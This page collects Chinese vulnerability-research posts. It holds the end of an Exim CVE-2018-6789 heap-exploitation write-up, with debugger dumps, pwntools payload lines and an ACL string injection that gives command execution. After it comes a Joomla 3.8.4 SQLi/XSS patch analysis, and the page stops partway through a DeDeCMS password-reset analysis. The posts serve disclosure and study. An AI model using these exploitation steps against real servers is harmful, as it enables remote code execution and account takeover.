1<ol class="linenums"><li class="L0"><code class="lang-python"><span class="pln">pwndbg</span><span class="pun">></span><span class="pln"> x</span><span class="pun">/</span><span class="lit">18gx</span><span class="pln"> </span><span class="pun">&</span><span class="pln">acl_smtp_vrfy</span></code></li><li class="L1"><code class="lang-python"><span class="lit">0x6ed848</span><span class="pln"> </span><span class="pun"><</span><span class="pln">acl_smtp_vrfy</span><span class="pun">>:</span><span class="pln"> </span><span class="lit">0x0000000000000000</span><span class="pln"> </span><span class="lit">0x0000000000000000</span></code></li><li class="L2"><code class="lang-python"><span class="lit">0x6ed858</span><span class="pln"> </span><span class="pun"><</span><span class="pln">acl_smtp_rcpt</span><span class="pun">>:</span><span class="pln"> </span><span class="lit">0x0000000001cedac0</span><span class="pln"> </span><span class="lit">0x0000000000000000</span></code></li><li class="L3"><code class="lang-python"><span class="lit">0x6ed868</span><span class="pln"> </span><span class="pun"><</span><span class="pln">acl_smtp_predata</span><span class="pun">>:</span><span class="pln"> </span><span class="lit">0x0000000000000000</span><span class="pln"> </span><span class="lit">0x0000000000000000</span></code></li><li class="L4"><code class="lang-python"><span class="lit">0x6ed878</span><span class="pln"> </span><span class="pun"><</span><span class="pln">acl_smtp_mailauth</span><span class="pun">>:</span><span class="pln"> </span><span class="lit">0x0000000000000000</span><span class="pln"> </span><span class="lit">0x0000000000000000</span></code></li><li class="L5"><code class="lang-python"><span class="lit">0x6ed888</span><span class="pln"> </span><span class="pun"><</span><span class="pln">acl_smtp_helo</span><span class="pun">>:</span><span class="pln"> </span><span class="lit">0x0000000000000000</span><span class="pln"> </span><span class="lit">0x0000000000000000</span></code></li><li class="L6"><code class="lang-python"><span class="lit">0x6ed898</span><span class="pln"> </span><span class="pun"><</span><span class="pln">acl_smtp_etrn</span><span class="pun">>:</span><span class="pln"> </span><span class="lit">0x0000000000000000</span><span class="pln"> </span><span class="lit">0x0000000000000000</span></code></li><li class="L7"><code class="lang-python"><span class="lit">0x6ed8a8</span><span class="pln"> </span><span class="pun"><</span><span class="pln">acl_smtp_data</span><span class="pun">>:</span><span class="pln"> </span><span class="lit">0x0000000001cedad0</span><span class="pln"> </span><span class="lit">0x0000000000000000</span></code></li><li class="L8"><code class="lang-python"><span class="lit">0x6ed8b8</span><span class="pln"> </span><span class="pun"><</span><span class="pln">acl_smtp_auth</span><span class="pun">>:</span><span class="pln"> </span><span class="lit">0x0000000001cedae0</span><span class="pln"> </span><span class="lit">0x0000000000000000</span></code></li></ol>所以我有
rcpt
,data
,auth
这三个命令可以利用比如
0x0000000001cedae0
地址当前的内容是:1<ol class="linenums"><li class="L0"><code class="lang-python"><span class="pln">pwndbg</span><span class="pun">></span><span class="pln"> x</span><span class="pun">/</span><span class="pln">s </span><span class="lit">0x0000000001cedae0</span></code></li><li class="L1"><code class="lang-python"><span class="lit">0x1cedae0</span><span class="pun">:</span><span class="pln"> </span><span class="str">"acl_check_auth"</span></code></li></ol>当我把该字符串修改为
${run{/usr/bin/touch /tmp/pwned}}
则当我向服务器发送
AUTH
命令时,exim将会执行/usr/bin/touch /tmp/pwned
所以之后就是meh所说的利用链:
修改
storeblock
的next指针为储存acl_check_xxxx
字符串的堆块地址 -> 调用smtp_reset -> 储存acl_check_xxxx
字符串的堆块被释放丢入unsortedbin -> 申请堆块,当堆块的地址为储存acl_check_xxxx
字符串的堆块时,我们可以覆盖该字符串为命令执行的字符串 -> RCESTEP 7
根据上一步所说,我们首先需要修改next指针,第二块chunk的原始大小是0x2000,被修改后新的大小是0x20f0,下一个
storeblock
的地址为第二块chunk+0x2000,next指针地址为第二块chunk+0x2010所以我们申请一个0x2020的chunk,就能够覆盖next指针:
1<ol class="linenums"><li class="L0"><code class="lang-python"><span class="pln">p</span><span class="pun">.</span><span class="pln">sendline</span><span class="pun">(</span><span class="str">"AUTH CRAM-MD5"</span><span class="pun">)</span></code></li><li class="L1"><code class="lang-python"><span class="pln">p</span><span class="pun">.</span><span class="pln">sendline</span><span class="pun">(</span><span class="pln">base64</span><span class="pun">.</span><span class="pln">b64encode</span><span class="pun">(</span><span class="pln">payload</span><span class="pun">*</span><span class="lit">501</span><span class="pun">+</span><span class="pln">p64</span><span class="pun">(</span><span class="lit">0x2021</span><span class="pun">)+</span><span class="pln">p64</span><span class="pun">(</span><span class="lit">0x2021</span><span class="pun">)+</span><span class="pln">p32</span><span class="pun">(</span><span class="pln">address</span><span class="pun">)))</span></code></li></ol>这里有一个问题
第二个chunk在
AUTH CRAM-MD5
命令执行时就被分配了,所以b64decode
的内存是从next_yield
获取的这样就导致一个问题,我们能通过之前的构造来控制在执行
b64decode
时yield_length
的大小,最开始我的一个思路就是,仍然利用off by one
漏洞来修改next,这也是我理解的meh所说的partial write
但是实际情况让我这个思路失败了
1<ol class="linenums"><li class="L0"><code class="lang-python"><span class="pln">pwndbg</span><span class="pun">></span><span class="pln"> x</span><span class="pun">/</span><span class="lit">16gx</span><span class="pln"> </span><span class="lit">0x1d171a0</span><span class="pun">+</span><span class="lit">0x2000</span></code></li><li class="L1"><code class="lang-python"><span class="lit">0x1d191a0</span><span class="pun">:</span><span class="pln"> </span><span class="lit">0x0063636363636363</span><span class="pln"> </span><span class="lit">0x0000000000002021</span></code></li><li class="L2"><code class="lang-python"><span class="lit">0x1d191b0</span><span class="pun">:</span><span class="pln"> </span><span class="lit">0x0000000001d171b0</span><span class="pln"> </span><span class="lit">0x0000000000002000</span></code></li></ol>当前的next指针的值为0x1d171b0,如果利用我的思路是可以修改1-2字节,然而储存
acl_check_xxx
字符的堆块地址为0x1ced980我们需要修改3字节,所以这个思路行不通
所以又有了另一个思路,因为exim是通过fork起子进程来处理每个socket连接的,所以我们可以爆破堆的基地址,只需要爆破2byte
STEP 8
在解决地址的问题后,就是对堆进行填充,然后修改相关
acl_check_xxx
指向的字符串然后附上利用截图:
总结
坑踩的挺多,尤其是在纠结meh所说的
partial write
,之后在github上看到别人公布的exp[3],同样也是使用爆破的方法,所以可能我对partial write
的理解有问题吧另外,通过与github上的exp进行对比,发现不同版本的exim,
acl_check_xxx
的堆偏移也有差别,所以如果需要RCE exim,需要满足下面的条件:- 包含漏洞的版本(小于等于commit 38e3d2dff7982736f1e6833e06d4aab4652f337a的版本)
- 开启CRAM-MD5认证,或者其他有调用b64decode函数的认证
- 需要有该exim的binary来计算堆偏移
- 需要知道exim的启动参数
参考
- https://devco.re/blog/2018/03/06/exim-off-by-one-RCE-exploiting-CVE-2018-6789-en/
- https://github.com/Exim/exim/commit/cf3cd306062a08969c41a1cdd32c6855f1abecf1
- https://github.com/skysider/VulnPOC/tree/master/CVE-2018-6789
没有评论 -
从补丁到漏洞分析 –记一次joomla漏洞应急
作者:LoRexxar’@知道创宇404实验室
2018年1月30日,joomla更新了3.8.4版本,这次更新修复了4个安全漏洞,以及上百个bug修复。
https://www.joomla.org/announcements/release-news/5723-joomla-3-8-4-release.html
为了漏洞应急这几个漏洞,我花费了大量的时间分析漏洞成因、寻找漏洞触发位置、回溯逻辑,下面的文章比起漏洞分析来说,更接近我思考的思路,希望能给大家带来不一样的东西。
背景
其中的4个安全漏洞包括
1<ol class="linenums"><li class="L0"><code><span class="pun">-</span><span class="pln"> </span><span class="typ">Low</span><span class="pln"> </span><span class="typ">Priority</span><span class="pln"> </span><span class="pun">-</span><span class="pln"> </span><span class="typ">Core</span><span class="pln"> </span><span class="pun">-</span><span class="pln"> XSS vulnerability </span><span class="kwd">in</span><span class="pln"> </span><span class="kwd">module</span><span class="pln"> chromes </span><span class="pun">(</span><span class="pln">affecting </span><span class="typ">Joomla</span><span class="pln"> </span><span class="lit">3.0</span><span class="pun">.</span><span class="lit">0</span><span class="pln"> through </span><span class="lit">3.8</span><span class="pun">.</span><span class="lit">3</span><span class="pun">)</span><span class="pln"> </span></code></li><li class="L1"><code><span class="pun">-</span><span class="pln"> </span><span class="typ">Low</span><span class="pln"> </span><span class="typ">Priority</span><span class="pln"> </span><span class="pun">-</span><span class="pln"> </span><span class="typ">Core</span><span class="pln"> </span><span class="pun">-</span><span class="pln"> XSS vulnerability </span><span class="kwd">in</span><span class="pln"> com_fields </span><span class="pun">(</span><span class="pln">affecting </span><span class="typ">Joomla</span><span class="pln"> </span><span class="lit">3.7</span><span class="pun">.</span><span class="lit">0</span><span class="pln"> through </span><span class="lit">3.8</span><span class="pun">.</span><span class="lit">3</span><span class="pun">)</span><span class="pln"> </span></code></li><li class="L2"><code><span class="pun">-</span><span class="pln"> </span><span class="typ">Low</span><span class="pln"> </span><span class="typ">Priority</span><span class="pln"> </span><span class="pun">-</span><span class="pln"> </span><span class="typ">Core</span><span class="pln"> </span><span class="pun">-</span><span class="pln"> XSS vulnerability </span><span class="kwd">in</span><span class="pln"> </span><span class="typ">Uri</span><span class="pln"> </span><span class="kwd">class</span><span class="pln"> </span><span class="pun">(</span><span class="pln">affecting </span><span class="typ">Joomla</span><span class="pln"> </span><span class="lit">1.5</span><span class="pun">.</span><span class="lit">0</span><span class="pln"> through </span><span class="lit">3.8</span><span class="pun">.</span><span class="lit">3</span><span class="pun">)</span><span class="pln"> </span></code></li><li class="L3"><code><span class="pun">-</span><span class="pln"> </span><span class="typ">Low</span><span class="pln"> </span><span class="typ">Priority</span><span class="pln"> </span><span class="pun">-</span><span class="pln"> </span><span class="typ">Core</span><span class="pln"> </span><span class="pun">-</span><span class="pln"> </span><span class="typ">SQLi</span><span class="pln"> vulnerability </span><span class="kwd">in</span><span class="pln"> </span><span class="typ">Hathor</span><span class="pln"> postinstall message </span><span class="pun">(</span><span class="pln">affecting </span><span class="typ">Joomla</span><span class="pln"> </span><span class="lit">3.7</span><span class="pun">.</span><span class="lit">0</span><span class="pln"> through </span><span class="lit">3.8</span><span class="pun">.</span><span class="lit">3</span><span class="pun">)</span></code></li></ol>根据更新,我们去到github上的joomla项目,从中寻找相应的修复补丁,可以发现,4个安全漏洞的是和3.8.4的release版同时更新的。
https://github.com/joomla/joomla-cms/commit/0ec372fdc6ad5ad63082636a0942b3ea39acc7b7
通过补丁配合漏洞详情中的简单描述我们可以确定漏洞的一部信息,紧接着通过这部分信息来回溯漏洞成因。
SQLi vulnerability in Hathor postinstall message
https://developer.joomla.org/security-centre/722-20180104-core-sqli-vulnerability.html
1<ol class="linenums"><li class="L0"><code><span class="typ">Description</span></code></li><li class="L1"><code><span class="typ">The</span><span class="pln"> lack of type casting of a variable </span><span class="kwd">in</span><span class="pln"> SQL statement leads to a SQL injection vulnerability </span><span class="kwd">in</span><span class="pln"> the </span><span class="typ">Hathor</span><span class="pln"> postinstall message</span><span class="pun">.</span></code></li><li class="L2"><code></code></li><li class="L3"><code><span class="typ">Affected</span><span class="pln"> </span><span class="typ">Installs</span></code></li><li class="L4"><code><span class="typ">Joomla</span><span class="pun">!</span><span class="pln"> CMS versions </span><span class="lit">3.7</span><span class="pun">.</span><span class="lit">0</span><span class="pln"> through </span><span class="lit">3.8</span><span class="pun">.</span><span class="lit">3</span></code></li></ol>补丁分析
第一个漏洞说的比较明白,是说在Hathor的postinstall信息处,由于错误的类型转换导致了注入漏洞。
我们来看看相应的补丁
符合漏洞描述的点就是这里,原来的取第一位改为了对取出信息做强制类型转换,然后拼接入sql语句。
这里假设我们可以控制
$adminstyle
,如果我们通过传入数组的方式设置该变量为数组格式,并且第1个字符串可控,那么这里就是一个可以成立的漏洞点。现在我们需要找到这个功能的位置,并且回溯变量判断是否可控。
找到漏洞位置
hathor是joomla自带的两个后台模板之一,由于hathor更新迭代没有isis快,部分功能会缺失,所以在安装完成之后,joomla的模板为isis,我们需要手动设置该部分。
1<ol class="linenums"><li class="L0"><code><span class="typ">Templates</span><span class="pun">-></span><span class="pln">styles</span><span class="pun">-></span><span class="pln">adminnistrator</span><span class="pun">-></span><span class="pln">hathor</span></code></li></ol>修改完成后回到首页,右边就是postinstallation message
回溯漏洞
回到代码中,我们需要找到
$adminstyle
这个变量进入的地方。1<ol class="linenums"><li class="L0"><code><span class="pln">$adminstyle </span><span class="pun">=</span><span class="pln"> $user</span><span class="pun">-></span><span class="pln">getParam</span><span class="pun">(</span><span class="str">'admin_style'</span><span class="pun">,</span><span class="pln"> </span><span class="str">''</span><span class="pun">);</span></code></li></ol>这里user为
JFactory::getUser()
,跟入getParam方法1<ol class="linenums"><li class="L0"><code><span class="str">/libraries/</span><span class="pln">src</span><span class="pun">/</span><span class="typ">User</span><span class="pun">/</span><span class="typ">User</span><span class="pun">.</span><span class="pln">php line </span><span class="lit">318</span></code></li><li class="L1"><code></code></li><li class="L2"><code><span class="kwd">public</span><span class="pln"> </span><span class="kwd">function</span><span class="pln"> getParam</span><span class="pun">(</span><span class="pln">$key</span><span class="pun">,</span><span class="pln"> $default </span><span class="pun">=</span><span class="pln"> </span><span class="kwd">null</span><span class="pun">)</span></code></li><li class="L3"><code><span class="pun">{</span></code></li><li class="L4"><code><span class="pln"> </span><span class="kwd">return</span><span class="pln"> $this</span><span class="pun">-></span><span class="pln">_params</span><span class="pun">-></span><span class="kwd">get</span><span class="pun">(</span><span class="pln">$key</span><span class="pun">,</span><span class="pln"> $default</span><span class="pun">);</span></code></li><li class="L5"><code><span class="pun">}</span></code></li></ol>这里
$this->_params
来自$this->_params = new Registry;
跟入Registry的get方法
1<ol class="linenums"><li class="L0"><code><span class="pln">libraries</span><span class="pun">/</span><span class="pln">vendor</span><span class="pun">/</span><span class="pln">joomla</span><span class="pun">/</span><span class="pln">registry</span><span class="pun">/</span><span class="pln">src</span><span class="pun">/</span><span class="typ">Registry</span><span class="pun">.</span><span class="pln">php line </span><span class="lit">201</span></code></li><li class="L1"><code></code></li><li class="L2"><code><span class="kwd">public</span><span class="pln"> </span><span class="kwd">function</span><span class="pln"> </span><span class="kwd">get</span><span class="pun">(</span><span class="pln">$path</span><span class="pun">,</span><span class="pln"> $default </span><span class="pun">=</span><span class="pln"> </span><span class="kwd">null</span><span class="pun">)</span></code></li><li class="L3"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L4"><code><span class="pln"> </span><span class="com">// Return default value if path is empty</span></code></li><li class="L5"><code><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">empty</span><span class="pun">(</span><span class="pln">$path</span><span class="pun">))</span></code></li><li class="L6"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L7"><code><span class="pln"> </span><span class="kwd">return</span><span class="pln"> $default</span><span class="pun">;</span></code></li><li class="L8"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L9"><code></code></li><li class="L0"><code><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(!</span><span class="pln">strpos</span><span class="pun">(</span><span class="pln">$path</span><span class="pun">,</span><span class="pln"> $this</span><span class="pun">-></span><span class="pln">separator</span><span class="pun">))</span></code></li><li class="L1"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L2"><code><span class="pln"> </span><span class="kwd">return</span><span class="pln"> </span><span class="pun">(</span><span class="pln">isset</span><span class="pun">(</span><span class="pln">$this</span><span class="pun">-></span><span class="pln">data</span><span class="pun">-></span><span class="pln">$path</span><span class="pun">)</span><span class="pln"> </span><span class="pun">&&</span><span class="pln"> $this</span><span class="pun">-></span><span class="pln">data</span><span class="pun">-></span><span class="pln">$path </span><span class="pun">!==</span><span class="pln"> </span><span class="kwd">null</span><span class="pln"> </span><span class="pun">&&</span><span class="pln"> $this</span><span class="pun">-></span><span class="pln">data</span><span class="pun">-></span><span class="pln">$path </span><span class="pun">!==</span><span class="pln"> </span><span class="str">''</span><span class="pun">)</span><span class="pln"> </span><span class="pun">?</span><span class="pln"> $this</span><span class="pun">-></span><span class="pln">data</span><span class="pun">-></span><span class="pln">$path </span><span class="pun">:</span><span class="pln"> $default</span><span class="pun">;</span></code></li><li class="L3"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L4"><code></code></li><li class="L5"><code><span class="pln"> </span><span class="com">// Explode the registry path into an array</span></code></li><li class="L6"><code><span class="pln"> $nodes </span><span class="pun">=</span><span class="pln"> explode</span><span class="pun">(</span><span class="pln">$this</span><span class="pun">-></span><span class="pln">separator</span><span class="pun">,</span><span class="pln"> trim</span><span class="pun">(</span><span class="pln">$path</span><span class="pun">));</span></code></li><li class="L7"><code></code></li><li class="L8"><code><span class="pln"> </span><span class="com">// Initialize the current node to be the registry root.</span></code></li><li class="L9"><code><span class="pln"> $node </span><span class="pun">=</span><span class="pln"> $this</span><span class="pun">-></span><span class="pln">data</span><span class="pun">;</span></code></li><li class="L0"><code><span class="pln"> $found </span><span class="pun">=</span><span class="pln"> </span><span class="kwd">false</span><span class="pun">;</span></code></li><li class="L1"><code></code></li><li class="L2"><code><span class="pln"> </span><span class="com">// Traverse the registry to find the correct node for the result.</span></code></li><li class="L3"><code><span class="pln"> </span><span class="kwd">foreach</span><span class="pln"> </span><span class="pun">(</span><span class="pln">$nodes </span><span class="kwd">as</span><span class="pln"> $n</span><span class="pun">)</span></code></li><li class="L4"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L5"><code><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">is_array</span><span class="pun">(</span><span class="pln">$node</span><span class="pun">)</span><span class="pln"> </span><span class="pun">&&</span><span class="pln"> isset</span><span class="pun">(</span><span class="pln">$node</span><span class="pun">[</span><span class="pln">$n</span><span class="pun">]))</span></code></li><li class="L6"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L7"><code><span class="pln"> $node </span><span class="pun">=</span><span class="pln"> $node</span><span class="pun">[</span><span class="pln">$n</span><span class="pun">];</span></code></li><li class="L8"><code><span class="pln"> $found </span><span class="pun">=</span><span class="pln"> </span><span class="kwd">true</span><span class="pun">;</span></code></li><li class="L9"><code></code></li><li class="L0"><code><span class="pln"> </span><span class="kwd">continue</span><span class="pun">;</span></code></li><li class="L1"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L2"><code></code></li><li class="L3"><code><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(!</span><span class="pln">isset</span><span class="pun">(</span><span class="pln">$node</span><span class="pun">-></span><span class="pln">$n</span><span class="pun">))</span></code></li><li class="L4"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L5"><code><span class="pln"> </span><span class="kwd">return</span><span class="pln"> $default</span><span class="pun">;</span></code></li><li class="L6"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L7"><code></code></li><li class="L8"><code><span class="pln"> $node </span><span class="pun">=</span><span class="pln"> $node</span><span class="pun">-></span><span class="pln">$n</span><span class="pun">;</span></code></li><li class="L9"><code><span class="pln"> $found </span><span class="pun">=</span><span class="pln"> </span><span class="kwd">true</span><span class="pun">;</span></code></li><li class="L0"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L1"><code></code></li><li class="L2"><code><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(!</span><span class="pln">$found </span><span class="pun">||</span><span class="pln"> $node </span><span class="pun">===</span><span class="pln"> </span><span class="kwd">null</span><span class="pln"> </span><span class="pun">||</span><span class="pln"> $node </span><span class="pun">===</span><span class="pln"> </span><span class="str">''</span><span class="pun">)</span></code></li><li class="L3"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L4"><code><span class="pln"> </span><span class="kwd">return</span><span class="pln"> $default</span><span class="pun">;</span></code></li><li class="L5"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L6"><code></code></li><li class="L7"><code><span class="pln"> </span><span class="kwd">return</span><span class="pln"> $node</span><span class="pun">;</span></code></li><li class="L8"><code><span class="pln"> </span><span class="pun">}</span></code></li></ol>根据这里的调用方式来看,这里会通过这里的的判断获取是否存在adminstyle,如果没有则会返回default(这里为空)
接着回溯
$this->data
,data来自$this->data = new \stdClass;
回溯到这里可以发现
$admin_style
的地方是从全局变量中中读取的。默认设置为空
/administrator/components/com_users/models/forms/user.xml
但我们是可以设置这个的
后台
users->users->super user
设置,右边我们可以设置当前账户使用的后台模板,将右边修改为使用hathor型模板。通过抓包我们可以发现,这里显式的设置了当前账户的
admin_type
,这样如果我们通过传入数组,就可以设置admin_type
为任意值然后进入代码中的数据库操作
/administrator/templates/hathor/postinstall/hathormessage.php function hathormessage_postinstall_condition
访问post_install页面触发
XSS vulnerability in com_fields
https://developer.joomla.org/security-centre/720-20180102-core-xss-vulnerability.html
1<ol class="linenums"><li class="L0"><code><span class="typ">Description</span></code></li><li class="L1"><code><span class="typ">Inadequate</span><span class="pln"> input filtering </span><span class="kwd">in</span><span class="pln"> com_fields leads to a XSS vulnerability </span><span class="kwd">in</span><span class="pln"> multiple field types</span><span class="pun">,</span><span class="pln"> i</span><span class="pun">.</span><span class="pln">e</span><span class="pun">.</span><span class="pln"> list</span><span class="pun">,</span><span class="pln"> radio </span><span class="kwd">and</span><span class="pln"> checkbox</span><span class="pun">.</span></code></li><li class="L2"><code></code></li><li class="L3"><code><span class="typ">Affected</span><span class="pln"> </span><span class="typ">Installs</span></code></li><li class="L4"><code><span class="typ">Joomla</span><span class="pun">!</span><span class="pln"> CMS versions </span><span class="lit">3.7</span><span class="pun">.</span><span class="lit">0</span><span class="pln"> through </span><span class="lit">3.8</span><span class="pun">.</span><span class="lit">3</span></code></li></ol>补丁分析
漏洞详情写了很多,反而是补丁比较模糊,我们可以大胆猜测下,当插入的字段类型为list、radio、checkbox多出的部分变量没有经过转义
首先我们需要先找到触发点
后台
content->fields->new
,然后设置type为radio
,在键名处加入相应的payload然后保存新建文章
成功触发
漏洞分析
由于补丁修复的方式比较特殊,可以猜测是在某些部分调用时使用了textContent而不是nodeValue,在分析变量时以此为重点。
漏洞的出发点
/administrator/components/com_fields/libraries/fieldslistplugin.php line 31
由于找不到该方法的调用点,所以我们从触发漏洞的点分析流程。
编辑文章的上边栏是通过
administrator/components/com_content/views/article/tmp/edit.php line 99
载入的这里
JLayoutHelper:render
会进入/layouts/joomla/edit/params.php
然后在129行进入
JLayoutHelper::render('joomla.edit.fieldset', $displayData);
跟入
/layouts/joomla/edit/fieldset.php line 16
,代码在这里通过执行form
的getFieldset
获取了提交的自定义字段信息。跟入
/libraries/src/Form/Form.php line 329 function getFieldset
跟如1683行
findFieldsByFieldset
函数。这里调用xml来获取数据,从全局的xml变量中匹配。
这里的全局变量中的xml中的option字段就来自于设置时的
$option->textContent
,而只有list, radio and checkbox.
这三种是通过这里的函数做处理,其中list比较特殊,在后面的处理过程中,list类型的自定义字段会在/libraries/cms/html/select.php line 742 function options
被二次处理,但radio不会,所以漏洞存在。整个xss漏洞从插入到触发限制都比较大,实战价值较低。
XSS vulnerability in Uri class
https://developer.joomla.org/security-centre/721-20180103-core-xss-vulnerability.html
1<ol class="linenums"><li class="L0"><code><span class="typ">Description</span></code></li><li class="L1"><code><span class="typ">Inadequate</span><span class="pln"> input filtering </span><span class="kwd">in</span><span class="pln"> the </span><span class="typ">Uri</span><span class="pln"> </span><span class="kwd">class</span><span class="pln"> </span><span class="pun">(</span><span class="pln">formerly </span><span class="typ">JUri</span><span class="pun">)</span><span class="pln"> leads to a XSS vulnerability</span><span class="pun">.</span></code></li><li class="L2"><code></code></li><li class="L3"><code><span class="typ">Affected</span><span class="pln"> </span><span class="typ">Installs</span></code></li><li class="L4"><code><span class="typ">Joomla</span><span class="pun">!</span><span class="pln"> CMS versions </span><span class="lit">1.5</span><span class="pun">.</span><span class="lit">0</span><span class="pln"> through </span><span class="lit">3.8</span><span class="pun">.</span><span class="lit">3</span></code></li></ol>补丁分析
比起其他几个来说,这里的漏洞就属于特别清晰的,就是在获取系统变量时,没做相应的过滤。
前台触发方式特别简单,因为这里的
script_name
是获取基础url路径的,会拼接进所有页面的和链接有关系的地方,包括js或者css的引入。漏洞利用
让我们来看看完整的代码
1<ol class="linenums"><li class="L0"><code><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">strpos</span><span class="pun">(</span><span class="pln">php_sapi_name</span><span class="pun">(),</span><span class="pln"> </span><span class="str">'cgi'</span><span class="pun">)</span><span class="pln"> </span><span class="pun">!==</span><span class="pln"> </span><span class="kwd">false</span><span class="pln"> </span><span class="pun">&&</span><span class="pln"> </span><span class="pun">!</span><span class="pln">ini_get</span><span class="pun">(</span><span class="str">'cgi.fix_pathinfo'</span><span class="pun">)</span><span class="pln"> </span><span class="pun">&&</span><span class="pln"> </span><span class="pun">!</span><span class="pln">empty</span><span class="pun">(</span><span class="pln">$_SERVER</span><span class="pun">[</span><span class="str">'REQUEST_URI'</span><span class="pun">]))</span></code></li><li class="L1"><code><span class="pun">{</span></code></li><li class="L2"><code><span class="pln"> </span><span class="com">// PHP-CGI on Apache with "cgi.fix_pathinfo = 0"</span></code></li><li class="L3"><code></code></li><li class="L4"><code><span class="pln"> </span><span class="com">// We shouldn't have user-supplied PATH_INFO in PHP_SELF in this case</span></code></li><li class="L5"><code><span class="pln"> </span><span class="com">// because PHP will not work with PATH_INFO at all.</span></code></li><li class="L6"><code><span class="pln"> $script_name </span><span class="pun">=</span><span class="pln"> $_SERVER</span><span class="pun">[</span><span class="str">'PHP_SELF'</span><span class="pun">];</span></code></li><li class="L7"><code><span class="pun">}</span></code></li><li class="L8"><code><span class="kwd">else</span></code></li><li class="L9"><code><span class="pun">{</span></code></li><li class="L0"><code><span class="pln"> </span><span class="com">// Others</span></code></li><li class="L1"><code><span class="pln"> $script_name </span><span class="pun">=</span><span class="pln"> $_SERVER</span><span class="pun">[</span><span class="str">'SCRIPT_NAME'</span><span class="pun">];</span></code></li><li class="L2"><code><span class="pun">}</span></code></li><li class="L3"><code></code></li><li class="L4"><code><span class="kwd">static</span><span class="pun">::</span><span class="pln">$base</span><span class="pun">[</span><span class="str">'path'</span><span class="pun">]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> rtrim</span><span class="pun">(</span><span class="pln">dirname</span><span class="pun">(</span><span class="pln">$script_name</span><span class="pun">),</span><span class="pln"> </span><span class="str">'/\\'</span><span class="pun">);</span></code></li></ol>很明显只有当
$script_name = $_SERVER['PHP_SELF']
的时候,漏洞才有可能成立只有当php是fastcgi运行,而且cgi.fix_pathinfo = 0时才能进入这个判断,然后利用漏洞还有一个条件,就是服务端对路径的解析存在问题才行。
1<ol class="linenums"><li class="L0"><code><span class="pln">http</span><span class="pun">:</span><span class="com">//127.0.0.1/index.php/{evil_code}/321321</span></code></li><li class="L1"><code></code></li><li class="L2"><code><span class="pun">---></span></code></li><li class="L3"><code></code></li><li class="L4"><code><span class="pln">http</span><span class="pun">:</span><span class="com">//127.0.0.1/index.php</span></code></li></ol>当该路径能被正常解析时,
http://127.0.0.1/index.php/{evil_code}
就会被错误的设置为基础URL拼接入页面中。一个无限制的xss就成立了
XSS vulnerability in module chromes
https://developer.joomla.org/security-centre/718-20180101-core-xss-vulnerability.html
1<ol class="linenums"><li class="L0"><code><span class="typ">Description</span></code></li><li class="L1"><code><span class="typ">Lack</span><span class="pln"> of escaping </span><span class="kwd">in</span><span class="pln"> the </span><span class="kwd">module</span><span class="pln"> chromes leads to XSS vulnerabilities </span><span class="kwd">in</span><span class="pln"> the </span><span class="kwd">module</span><span class="pln"> system</span><span class="pun">.</span></code></li><li class="L2"><code></code></li><li class="L3"><code><span class="typ">Affected</span><span class="pln"> </span><span class="typ">Installs</span></code></li><li class="L4"><code><span class="typ">Joomla</span><span class="pun">!</span><span class="pln"> CMS versions </span><span class="lit">3.0</span><span class="pun">.</span><span class="lit">0</span><span class="pln"> through </span><span class="lit">3.8</span><span class="pun">.</span><span class="lit">3</span></code></li></ol>补丁分析
漏洞存在的点比较清楚,修复中将
$moduleTag
进行了一次转义,同样的地方有三处,但都是同一个变量导致的。这个触发也比较简单,当我们把前台模板设置为protostar(默认)时,访问前台就会触发这里的
modChrome_well
函数。漏洞利用
让我们看看完整的代码
很明显后面
module_tag
没有经过更多处理,就输出了,假设我们可控module_tag
,那么漏洞就成立。问题在于怎么控制,这里的函数找不到调用的地方,能触发的地方都返回了传入的第二个值,猜测和上面的
get_param
一样,如果没有设置该变量,则返回default
值。经过一番研究,并没有找到可控的设置的点,这里只能暂时放弃。
ref
- Joomla 3.8.4 https://www.joomla.org/announcements/release-news/5723-joomla-3-8-4-release.html
- Joomla security patches https://developer.joomla.org/security-centre/
-
DeDeCMS v5.7 密码修改漏洞分析
作者:LoRexxar'@知道创宇404实验室
#### 0x01 背景
织梦内容管理系统(DedeCms)以简单、实用、开源而闻名,是国内最知名的PHP开源网站管理系统,也是使用用户最多的PHP类CMS系统,在经历多年的发展,目前的版本无论在功能,还是在易用性方面,都有了长足的发展和进步,DedeCms免费版的主要目标用户锁定在个人站长,功能更专注于个人网站或中小型门户的构建,当然也不乏有企业用户和学校等在使用该系统。
2018年1月10日, 锦行信息安全公众号公开了一个关于DeDeCMS前台任意用户密码修改漏洞的细节\[2]。
2018年1月10日,Seebug漏洞平台\[3]收录该漏洞,漏洞编号为SSV-97074,知道创宇404漏洞应急团队成功复现该漏洞。
2018年1月17日,阿里先知平台公开了一个任意用户登陆漏洞\[4]\[5],和一个安全隐患\[6],通过组合漏洞,导致后台密码可以被修改。
2018年1月18日,知道创宇404漏洞应急团队成功复现该漏洞。
#### 0x02 漏洞简述
整个漏洞利用链包括3个过程:
1. 前台任意用户密码修改漏洞
2. 前台任意用户登陆漏洞
3. 前台管理员密码修改可影响后台的安全隐患通过3个问题连起来,我们可以重置后台admin密码,如果我们获得了后台地址,就可以进一步登陆后台进行下一步攻击。
##### 1、前台任意用户密码修改漏洞
前台任意用户密码修改漏洞的核心问题是由于DeDeCMS对于部分判断使用错误的弱类型判断,再加上在设置初始值时使用了NULL作为默认填充,导致可以使用弱类型判断的漏洞来绕过判断。漏洞利用有几个限制:
